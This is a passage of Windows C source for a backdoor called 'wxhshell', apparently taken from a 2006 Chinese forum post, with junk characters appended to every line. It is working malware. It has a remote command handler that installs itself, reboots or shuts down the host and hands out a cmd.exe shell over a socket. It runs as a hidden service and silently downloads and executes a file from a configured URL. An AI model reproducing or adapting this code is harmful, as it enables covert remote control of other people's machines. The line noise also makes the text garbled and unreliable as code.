  else { 1+kE!2b;b  
M!m?#xz'c  
    switch(cmd[0]) { k#>hg#G  
  KM,|} .@:  
  // 帮助 'o4p#`R:8  
  case '?': { | }&RXD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r|<DqTc6l  
    break; jQs>`P-CM  
  } OEhHR  
  // 安装 #$ thPZ  
  case 'i': { BzJ;%ywS  
    if(Install()) _ Y2 U7W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #E7AmmqD%  
    else 77 r(*.O|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Td\o9  
    break; |9K<-yD  
    } h:bru:ef  
  // 卸载 []kN16F  
  case 'r': { d=*x#In  
    if(Uninstall()) dR^"X3$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %D}H|*IPu  
    else .Nm su+s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); myFAKRc  
    break; %b2oiKSBx?  
    } &K+0xnUH  
  // 显示 wxhshell 所在路径 ->{d`-}m'  
  case 'p': { v;1F[?@3Y  
    char svExeFile[MAX_PATH]; ,zTb<g  
    strcpy(svExeFile,"\n\r"); 0ZpFE&  
      strcat(svExeFile,ExeFile); U977#M Xf  
        send(wsh,svExeFile,strlen(svExeFile),0); RI n9(r  
    break; `\u;K9S6  
    } # uCB)n&.  
  // 重启 e$)300 o  
  case 'b': { Lv[OUW#S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XM1`x  
    if(Boot(REBOOT)) } R4c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u+t$l^S  
    else { sW#JjtK  
    closesocket(wsh); siDh="{s  
    ExitThread(0); &;TJ~r#K  
    } SO\/-]9#  
    break; |R/.r_x,V?  
    } 'J)2g"T@  
  // 关机 qml2XJ>  
  case 'd': { BG&cQr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vl E z9/H  
    if(Boot(SHUTDOWN)) ,|?CU r9Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hg@}@Wq\)  
    else { q"qo.TPh|$  
    closesocket(wsh); e?0q9W  
    ExitThread(0); )jrT6x^IB  
    } LA3<=R]  
    break; ?|{XZQ~  
    } NG&_?|OmV  
  // 获取shell H5cV5E0  
  case 's': { b#)U UGmI  
    CmdShell(wsh); h&3YGCl  
    closesocket(wsh); :p&!RI(l  
    ExitThread(0); wXjFLg!g?  
    break; #%@*p,xh  
  } X@)z80  
  // 退出 H1" q  
  case 'x': {  ,B<l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |wE3UWsy  
    CloseIt(wsh); dx*qb  
    break; vP@v.6gS,  
    } h4pTq[4*  
  // 离开 c)md  
  case 'q': {  >YtdA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y7i%W4  
    closesocket(wsh); l%R50aL  
    WSACleanup(); )QagS.L{z  
    exit(1); Syp"L;H8Em  
    break; 8.=\GV  
        } ; |/leu8  
  } ,fIe&zq  
  } Do%-B1{ri  
Awv`)"RAR  
  // 提示信息 v4miU;|\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /y7M lU9  
}  8@{OR"Ec  
  } wv QMnE8\  
Lj\/Ji_  
  return; Hd7,ZHj3 ^  
} qjAWeS/  
[a o U5;7  
// shell模块句柄 \k`n[{  
int CmdShell(SOCKET sock) Ll4bdz,  
{ B<8N96fx  
STARTUPINFO si; F["wD O  
ZeroMemory(&si,sizeof(si)); !J*,)kRN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l:6,QaT1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }u+a<:pkK  
PROCESS_INFORMATION ProcessInfo; u JR%0E7!  
char cmdline[]="cmd"; 6J~12TU,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w:Jrmx  
  return 0; 0yx3OY  
} GBFw+v/|4  
z|7zj/+g  
// 自身启动模式 c(co\A.]:6  
int StartFromService(void) B()/.w?A  
{ iV FkYx%}  
typedef struct b 6t}{_7  
{ =K&\E2kA4  
  DWORD ExitStatus; G1t\Q-|l0  
  DWORD PebBaseAddress; N$Y" c*  
  DWORD AffinityMask; /MB{Pmk$R  
  DWORD BasePriority; +5.t. d  
  ULONG UniqueProcessId; hqk}akXt  
  ULONG InheritedFromUniqueProcessId; 4ww]9J  
}   PROCESS_BASIC_INFORMATION; [U#72+K  
zL5d0_E9  
PROCNTQSIP NtQueryInformationProcess; ?6c-7QV  
v{i7h|e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q(5j(G ;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d0hhMx6$  
[ rNXQ` /  
  HANDLE             hProcess; Obw?_@X  
  PROCESS_BASIC_INFORMATION pbi; mD:IO  
wOQ#N++C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y=Z1Tdxa|  
  if(NULL == hInst ) return 0; VN4yn| f/  
 I~,G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1tCQpf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y\],2[liF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IdIrI  
Sz{O2 l Y  
  if (!NtQueryInformationProcess) return 0; 3$vRW.c\q  
k~%<Ir1V]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p3ISWJa!  
  if(!hProcess) return 0; I"AYWo?  
Mcw4!{l`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J" j.'.  
K|C^l;M6  
  CloseHandle(hProcess); 8$|8`;I(  
: "6q,W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K.C> a:J  
if(hProcess==NULL) return 0; nfb]VN~(  
}MR1^  
HMODULE hMod; : FAH\  
char procName[255]; +u@aJ_^  
unsigned long cbNeeded; 2:}fe}  
NT%W;)6m9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;E~4)^  
<1w/hy&mWN  
  CloseHandle(hProcess); ~/_9P Fk  
-3Avs9`5  
if(strstr(procName,"services")) return 1; // 以服务启动 _FbC{yI8;  
0Q1FL MLV  
  return 0; // 注册表启动 d;tkJ2@NO  
} [~W`E1,  
;;5Uwd'-  
// 主模块 Mv|ykJoz"  
int StartWxhshell(LPSTR lpCmdLine) ;vhyhP.oM  
{ u^I(Ny  
  SOCKET wsl; tC8(XMVx  
BOOL val=TRUE; ]"AyAkT(  
  int port=0; !DjvsG1x  
  struct sockaddr_in door; z!=P@b  
M"q[p  
  if(wscfg.ws_autoins) Install(); -7WW[ w  
v8>v.}y  
port=atoi(lpCmdLine); : Ud[f`t  
(VvKGh  
if(port<=0) port=wscfg.ws_port; W]<$0  
?wMHS4  
  WSADATA data; rh2LGuo4m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .F&9.#>  
\^+ILYO:$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <j}lp-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !=Y;h[J.p  
  door.sin_family = AF_INET; 1`f_P$&Z_J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u#W5`sl  
  door.sin_port = htons(port); dYFzye  
u]C`6)>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7k{2Upg;  
closesocket(wsl); QrD o|GtE  
return 1; z^* '@  
} RR1A65B  
{!ZyCi19  
  if(listen(wsl,2) == INVALID_SOCKET) { E ?2O(  
closesocket(wsl); @b&84Gn2 r  
return 1; ,reJ(s  
} -P=g3Q i  
  Wxhshell(wsl); FD7H@L5  
  WSACleanup(); :@ uIxa$[  
n[xkSF^)  
return 0; O[~x_xeW  
4YG/`P  
} TDK@)mP  
~yJ4qp-  
// 以NT服务方式启动 H(+<)qH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \L!uHAE2a  
{ 3EFD%9n  
DWORD   status = 0; 4Wel[]  
  DWORD   specificError = 0xfffffff; )yee2(S  
Z%o7f6P0IX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '3tw<k!1{.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4|J[Jdj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HP2wtN{Zs  
  serviceStatus.dwWin32ExitCode     = 0; A//?6O Jx?  
  serviceStatus.dwServiceSpecificExitCode = 0; l4'~}nn(Y  
  serviceStatus.dwCheckPoint       = 0; IxSV?k   
  serviceStatus.dwWaitHint       = 0; \9c$`nn  
0O@_ cW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s PYX~G&T  
  if (hServiceStatusHandle==0) return; IFNWS,:  
M.%shrJ/  
status = GetLastError(); 85U.wpG  
  if (status!=NO_ERROR) SQ(apc}N4  
{ uK*|2U6t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,4F,:w  
    serviceStatus.dwCheckPoint       = 0; 64oxjF)  
    serviceStatus.dwWaitHint       = 0; MOz}Q1`a  
    serviceStatus.dwWin32ExitCode     = status; iv%w!3#  
    serviceStatus.dwServiceSpecificExitCode = specificError; {XY3Xo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I=dGq;Jaz  
    return; $%qg"  
  } gtU1'p"  
L ^Y3=1#"g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ksI>IW  
  serviceStatus.dwCheckPoint       = 0; 2hOPzv&B  
  serviceStatus.dwWaitHint       = 0; (i`(>I.(/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hb^!LtF#Y  
} BA+_C]%ZJ  
-WR}m6yMr  
// 处理NT服务事件,比如:启动、停止 a8uYs DS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bkQ3c-C<  
{ \2DE ==M)P  
switch(fdwControl) (O5)wej   
{ H~9=&p[Q  
case SERVICE_CONTROL_STOP: F-0UdV  
  serviceStatus.dwWin32ExitCode = 0; #}o<v|;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F,}s$v  
  serviceStatus.dwCheckPoint   = 0; >Q2). E  
  serviceStatus.dwWaitHint     = 0; d79N-O-  
  { =7jEz+w#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -J$g(sikt  
  } &hN,xpC  
  return; K5flit4-  
case SERVICE_CONTROL_PAUSE: ])$S\fFm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *8\(FVyG^  
  break; :R+],m il  
case SERVICE_CONTROL_CONTINUE: vjTwv+B"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :C%47qv  
  break; p.Y$A if.  
case SERVICE_CONTROL_INTERROGATE: YNM\pX'  
  break; _T~H[&Hl  
}; <o@)SD~K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yX9B97XyC  
} Kym:J \}9B  
 U42\.V0  
// 标准应用程序主函数 lG]GlgSs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w-: D  
{ L?f qcW{  
RndOm.TE  
// 获取操作系统版本 *|'}v[{v^9  
OsIsNt=GetOsVer(); %HEmi;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,k%8yK  
Y n>{4BZ>#  
  // 从命令行安装 ngqUH  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,4Y sZ  
Wf1-"Q  
  // 下载执行文件 \>[gl!B_Rr  
if(wscfg.ws_downexe) { zjWyGt(Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6DZ2pT:  
  WinExec(wscfg.ws_filenam,SW_HIDE); SRk7gfP*q  
} B}5XRgq  
M=Is9)y  
if(!OsIsNt) { 4`0;^K.  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~[;{   
HideProc(); },3R%?8 9%  
StartWxhshell(lpCmdLine); j)@oRWL<  
} Y D+QX@  
else bgXc_>T6_y  
  if(StartFromService()) Sl~C0eO  
  // 以服务方式启动 m[#%/  
  StartServiceCtrlDispatcher(DispatchTable); -9i+@%{/  
else OAyE/Q|  
  // 普通方式启动 {8i}Ow  
  StartWxhshell(lpCmdLine); qZc)Sa.S  
T/3;NXe6E  
return 0; 6!o/~I#  
}
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只看该作者 1 发表于: 2006-10-10
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